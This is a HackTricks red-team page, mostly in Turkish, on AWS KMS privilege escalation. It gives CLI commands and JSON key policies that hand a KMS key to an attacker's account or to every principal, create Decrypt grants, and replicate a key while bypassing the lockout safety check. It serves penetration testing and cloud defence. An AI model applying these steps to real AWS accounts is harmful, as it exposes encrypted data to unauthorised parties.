AWS - KMS Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

KMS

KMS hakkında daha fazla bilgi için:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Bu izinlerle anahtarın erişim izinlerini değiştirmek mümkündür, böylece başka hesaplar veya hatta herkes tarafından kullanılabilir hale getirilebilir:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Bu, bir yetkilinin bir KMS anahtarını kullanmasına izin verir:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Bir izin yalnızca belirli türdeki işlemlere izin verebilir: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

KMS'nin kullanıcıya anahtarı kullanma izni vermesi birkaç dakika sürebilir. Bu süre geçtikten sonra, ilgili kullanıcı KMS anahtarını herhangi bir şey belirtmeden kullanabilir. Ancak, izni hemen kullanmak gerekiyorsa bir izin belirteci kullanın (aşağıdaki kodu kontrol edin). Daha fazla bilgi için burayı okuyun.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Not: Anahtarların izinlerini listelemek mümkündür:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Bu izinlerle, farklı bir bölgede farklı bir politika ile çoklu bölgeye izin veren bir KMS anahtarını kopyalamak mümkündür.

Bu nedenle, bir saldırgan bu izinleri kötüye kullanarak anahtara erişimini artırabilir ve kullanabilir.

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Bu izin, bir anahtarı kullanarak bilgiyi şifrelemek için kullanılmasına izin verir. Daha fazla bilgi için kontrol edin:

AWS - KMS Post Exploitation
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated